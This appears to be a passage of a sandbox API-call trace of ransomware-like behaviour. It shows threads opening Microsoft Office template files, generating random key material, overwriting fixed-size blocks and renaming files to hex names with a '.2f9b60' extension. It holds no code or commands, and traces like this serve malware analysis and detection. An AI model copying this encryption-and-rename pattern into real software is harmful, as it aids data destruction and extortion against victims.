sprintf (in: _Dest=0x1b858872, _Format="%c%c" | out: _Dest="c1") returned 2 [0208.811] sprintf (in: _Dest=0x1b858874, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.811] sprintf (in: _Dest=0x1b858876, _Format="%c%c" | out: _Dest="4a") returned 2 [0208.811] sprintf (in: _Dest=0x1b858878, _Format="%c%c" | out: _Dest="3f") returned 2 [0208.811] sprintf (in: _Dest=0x1b85887a, _Format="%c%c" | out: _Dest="70") returned 2 [0208.811] sprintf (in: _Dest=0x1b85887c, _Format="%c%c" | out: _Dest="23") returned 2 [0208.811] sprintf (in: _Dest=0x1b85887e, _Format="%c%c" | out: _Dest="93") returned 2 [0208.811] sprintf (in: _Dest=0x1b858880, _Format="%c%c" | out: _Dest="9d") returned 2 [0208.811] sprintf (in: _Dest=0x1b858882, _Format="%c%c" | out: _Dest="66") returned 2 [0208.812] sprintf (in: _Dest=0x1b858884, _Format="%c%c" | out: _Dest="12") returned 2 [0208.812] sprintf (in: _Dest=0x1b858886, _Format="%c%c" | out: _Dest="3f") returned 2 [0208.812] sprintf (in: _Dest=0x1b858888, _Format="%c%c" | out: _Dest="51") returned 2 [0208.812] sprintf (in: _Dest=0x1b85888a, _Format="%c%c" | out: _Dest="93") returned 2 [0208.812] sprintf (in: _Dest=0x1b85888c, _Format="%c%c" | out: _Dest="a7") returned 2 [0208.812] sprintf (in: _Dest=0x1b85888e, _Format="%c%c" | out: _Dest="d4") returned 2 [0208.812] sprintf (in: _Dest=0x1b858890, _Format="%c%c" | out: _Dest="b7") returned 2 [0208.812] sprintf (in: _Dest=0x1b858892, _Format="%c%c" | out: _Dest="98") returned 2 [0208.812] sprintf (in: _Dest=0x1b858894, _Format="%c%c" | out: _Dest="0d") returned 2 [0208.812] sprintf (in: _Dest=0x1b858896, _Format="%c%c" | out: _Dest="57") returned 2 [0208.812] sprintf (in: _Dest=0x1b858898, _Format="%c%c" | out: _Dest="e8") returned 2 [0208.812] sprintf (in: _Dest=0x1b85889a, _Format="%c%c" | out: _Dest="ea") returned 2 [0208.812] sprintf (in: _Dest=0x1b85889c, _Format="%c%c" | out: _Dest="06") returned 2 [0208.812] sprintf (in: _Dest=0x1b85889e, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.812] sprintf (in: _Dest=0x1b8588a0, _Format="%c%c" | out: _Dest="89") returned 2 [0208.812] sprintf (in: _Dest=0x1b8588a2, _Format="%c%c" | out: _Dest="e7") returned 2 [0208.812] RtlInitAnsiString (in: DestinationString=0x3914fac8, SourceString="42ab11433680d575a1312baf9b3ae5f2c5c15a4a3f7023939d66123f5193a7d4b7980d57e8ea06ae89e7" | out: DestinationString="42ab11433680d575a1312baf9b3ae5f2c5c15a4a3f7023939d66123f5193a7d4b7980d57e8ea06ae89e7") [0208.812] RtlAnsiStringToUnicodeString (in: DestinationString=0x3914fa98, SourceString="42ab11433680d575a1312baf9b3ae5f2c5c15a4a3f7023939d66123f5193a7d4b7980d57e8ea06ae89e7", AllocateDestinationString=1 | out: DestinationString="42ab11433680d575a1312baf9b3ae5f2c5c15a4a3f7023939d66123f5193a7d4b7980d57e8ea06ae89e7") returned 0x0 [0208.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x431168a0 [0208.813] wcscat (in: _Dest=0x431a6b40, _Source="42ab11433680d575a1312" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\42ab11433680d575a1312") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\42ab11433680d575a1312" [0208.813] wcscat (in: _Dest=0x431a6b40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\42ab11433680d575a1312.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\42ab11433680d575a1312.2f9b60" [0208.813] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\42ab11433680d575a1312.2f9b60", NtPathName=0x3914fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\42ab11433680d575a1312.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430fd5c0 Thread: id = 2129 os_tid = 0x14c0 [0139.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx")) returned 0x20 [0139.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx", dwFileAttributes=0x20) returned 1 [0139.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c90 [0139.306] GetFileSizeEx (in: hFile=0x1c90, lpFileSize=0x3943fa00 | out: lpFileSize=0x3943fa00*=535380) returned 1 [0139.306] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x82b50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.306] ReadFile (in: hFile=0x1c90, lpBuffer=0x3943f980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3943f9c8, lpOverlapped=0x0 | out: lpBuffer=0x3943f980*, lpNumberOfBytesRead=0x3943f9c8*=0x4, lpOverlapped=0x0) returned 1 [0139.329] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0139.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b400 [0139.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b4f0 [0139.329] NtQuerySystemTime (in: CurrentTime=0x3943f8c0 | out: CurrentTime=0x3943f8c0*=132462177445726000) returned 0x0 [0139.329] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x5f6199f2 [0139.329] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x1c979df4 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x1ed62f7c [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x75750175 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x14d8d600 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x672f2025 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x5b845265 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x7ac37630 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x4ee959e7 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x2815dd39 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x95f1af [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x6e73524a [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x405744fb [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x76b448c1 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x676df8f9 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x6ba2ee9d [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x17a4b3d5 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x5cacd4dd [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x53784cb7 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x3eae5ce5 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0xc935ffb [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x5a73f614 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x54b8f3ca [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x2d766d28 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x15010f2a [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x60e28f6e [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x2bb2680a [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x4dcbb112 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x649fc622 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x5fe6b846 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0xafedb84 [0139.330] RtlRandomEx (in: Seed=0x3943f8b0 | out: Seed=0x3943f8b0) returned 0x218a9ada [0139.339] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b520 [0139.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b550 [0139.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b4f0) returned 1 [0139.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0139.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4213f200 [0139.341] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.341] ReadFile (in: hFile=0x1c90, lpBuffer=0x4213f200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3943f920, lpOverlapped=0x0 | out: lpBuffer=0x4213f200*, lpNumberOfBytesRead=0x3943f920*=0x3c00, lpOverlapped=0x0) returned 1 [0139.350] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b580 [0139.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b580) returned 1 [0139.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4214e530 [0139.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b580 [0139.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.351] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b5b0) returned 1 [0139.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.352] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.352] WriteFile (in: hFile=0x1c90, lpBuffer=0x4214e530*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3943f920, lpOverlapped=0x0 | out: lpBuffer=0x4214e530*, lpNumberOfBytesWritten=0x3943f920*=0x3c00, lpOverlapped=0x0) returned 1 [0161.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4214e530) returned 1 [0161.153] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.153] ReadFile (in: hFile=0x1c90, lpBuffer=0x4213f200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3943f920, lpOverlapped=0x0 | out: lpBuffer=0x4213f200*, lpNumberOfBytesRead=0x3943f920*=0x3c00, lpOverlapped=0x0) returned 1 [0165.615] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x43800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd870 [0165.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd870) returned 1 [0165.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c53cc0 [0165.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd870 [0165.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7b0 [0165.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7b0) returned 1 [0165.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.617] WriteFile (in: hFile=0x1c90, lpBuffer=0x41c53cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3943f920, lpOverlapped=0x0 | out: lpBuffer=0x41c53cc0*, lpNumberOfBytesWritten=0x3943f920*=0x3c00, lpOverlapped=0x0) returned 1 [0187.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c53cc0) returned 1 [0187.140] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x7ef54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.140] ReadFile (in: hFile=0x1c90, lpBuffer=0x4213f200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3943f920, lpOverlapped=0x0 | out: lpBuffer=0x4213f200*, lpNumberOfBytesRead=0x3943f920*=0x3c00, lpOverlapped=0x0) returned 1 [0190.577] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x7ef54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138da0 [0190.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138da0) returned 1 [0190.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b0fe10 [0190.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138da0 [0190.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138dd0 [0190.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138dd0) returned 1 [0190.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.580] WriteFile (in: hFile=0x1c90, lpBuffer=0x42b0fe10*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3943f920, lpOverlapped=0x0 | out: lpBuffer=0x42b0fe10*, lpNumberOfBytesWritten=0x3943f920*=0x3c00, lpOverlapped=0x0) returned 1 [0205.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b0fe10) returned 1 [0205.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f3d0 [0205.311] SetFilePointerEx (in: hFile=0x1c90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.312] WriteFile (in: hFile=0x1c90, lpBuffer=0x431f4e00*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x3943f9d0, lpOverlapped=0x0 | out: lpBuffer=0x431f4e00*, lpNumberOfBytesWritten=0x3943f9d0*=0x152, lpOverlapped=0x0) returned 1 [0208.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0208.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267fb0) returned 1 [0208.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0208.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268040 [0208.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267890 [0208.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267890) returned 1 [0208.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce616f0 [0208.767] sprintf (in: _Dest=0x1ce616f0, _Format="%c%c" | out: _Dest="5e") returned 2 [0208.767] sprintf (in: _Dest=0x1ce616f2, _Format="%c%c" | out: _Dest="a7") returned 2 [0208.767] sprintf (in: _Dest=0x1ce616f4, _Format="%c%c" | out: _Dest="3a") returned 2 [0208.768] sprintf (in: _Dest=0x1ce616f6, _Format="%c%c" | out: _Dest="47") returned 2 [0208.768] sprintf (in: _Dest=0x1ce616f8, _Format="%c%c" | out: _Dest="95") returned 2 [0208.768] sprintf (in: _Dest=0x1ce616fa, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.768] sprintf (in: _Dest=0x1ce616fc, _Format="%c%c" | out: _Dest="84") returned 2 [0208.768] sprintf (in: _Dest=0x1ce616fe, _Format="%c%c" | out: _Dest="f8") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61700, _Format="%c%c" | out: _Dest="0e") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61702, _Format="%c%c" | out: _Dest="24") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61704, _Format="%c%c" | out: _Dest="43") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61706, _Format="%c%c" | out: _Dest="40") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61708, _Format="%c%c" | out: _Dest="75") returned 2 [0208.768] sprintf (in: _Dest=0x1ce6170a, _Format="%c%c" | out: _Dest="aa") returned 2 [0208.768] sprintf (in: _Dest=0x1ce6170c, _Format="%c%c" | out: _Dest="70") returned 2 [0208.768] sprintf (in: _Dest=0x1ce6170e, _Format="%c%c" | out: _Dest="c0") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61710, _Format="%c%c" | out: _Dest="77") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61712, _Format="%c%c" | out: _Dest="af") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61714, _Format="%c%c" | out: _Dest="29") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61716, _Format="%c%c" | out: _Dest="2f") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61718, _Format="%c%c" | out: _Dest="75") returned 2 [0208.768] sprintf (in: _Dest=0x1ce6171a, _Format="%c%c" | out: _Dest="7f") returned 2 [0208.768] sprintf (in: _Dest=0x1ce6171c, _Format="%c%c" | out: _Dest="19") returned 2 [0208.768] sprintf (in: _Dest=0x1ce6171e, _Format="%c%c" | out: _Dest="96") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61720, _Format="%c%c" | out: _Dest="85") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61722, _Format="%c%c" | out: _Dest="d5") returned 2 [0208.768] sprintf (in: _Dest=0x1ce61724, _Format="%c%c" | out: _Dest="48") returned 2 [0208.769] sprintf (in: _Dest=0x1ce61726, _Format="%c%c" | out: _Dest="3f") returned 2 [0208.769] sprintf (in: _Dest=0x1ce61728, _Format="%c%c" | out: _Dest="61") returned 2 [0208.769] sprintf (in: _Dest=0x1ce6172a, _Format="%c%c" | out: _Dest="3d") returned 2 [0208.769] sprintf (in: _Dest=0x1ce6172c, _Format="%c%c" | out: _Dest="15") returned 2 [0208.769] sprintf (in: _Dest=0x1ce6172e, _Format="%c%c" | out: _Dest="b2") returned 2 [0208.769] RtlInitAnsiString (in: DestinationString=0x3943fa48, SourceString="5ea73a47955a84f80e24434075aa70c077af292f757f199685d5483f613d15b2" | out: DestinationString="5ea73a47955a84f80e24434075aa70c077af292f757f199685d5483f613d15b2") [0208.769] RtlAnsiStringToUnicodeString (in: DestinationString=0x3943fa18, SourceString="5ea73a47955a84f80e24434075aa70c077af292f757f199685d5483f613d15b2", AllocateDestinationString=1 | out: DestinationString="5ea73a47955a84f80e24434075aa70c077af292f757f199685d5483f613d15b2") returned 0x0 [0208.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x431a16e0 [0208.770] wcscat (in: _Dest=0x431838a0, _Source="5ea73a47955a84f8" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5ea73a47955a84f8") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5ea73a47955a84f8" [0208.770] wcscat (in: _Dest=0x431838a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5ea73a47955a84f8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5ea73a47955a84f8.2f9b60" [0208.770] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\5ea73a47955a84f8.2f9b60", NtPathName=0x3943f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\5ea73a47955a84f8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4312a5e0 Thread: id = 2130 os_tid = 0x14c4 [0139.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx")) returned 0x20 [0139.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx", dwFileAttributes=0x20) returned 1 [0139.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c04 [0139.372] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x395cf9e0 | out: lpFileSize=0x395cf9e0*=305985) returned 1 [0139.372] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x4ab3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.372] ReadFile (in: hFile=0x1c04, lpBuffer=0x395cf960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x395cf9a8, lpOverlapped=0x0 | out: lpBuffer=0x395cf960*, lpNumberOfBytesRead=0x395cf9a8*=0x4, lpOverlapped=0x0) returned 1 [0139.379] SetFilePointerEx (in: hFile=0x1c04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b4f0 [0139.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5b0 [0139.379] NtQuerySystemTime (in: CurrentTime=0x395cf8a0 | out: CurrentTime=0x395cf8a0*=132462177446194000) returned 0x0 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0xd28373 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x37a5c823 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x3787cf01 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x3d9236ca [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x36991638 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x6dd150d4 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x608df197 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x53784cb7 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x611bfe62 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x3a447e33 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x6e73524a [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x3409c12b [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x2bb82587 [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x6c739dcb [0139.379] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x2a92004a [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x1bbfa8a [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x206def7 [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x405744fb [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x19061963 [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x4ea3aa51 [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x6438918e [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x142acbbd [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x27696c6d [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x580c198b [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x110e4acd [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x3d1be708 [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x14348456 [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x75cc1f88 [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x5eeaeaa2 [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x7ec7a55c [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x3ff44e04 [0139.380] RtlRandomEx (in: Seed=0x395cf890 | out: Seed=0x395cf890) returned 0x1ffb26d2 [0139.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b5e0 [0139.390] 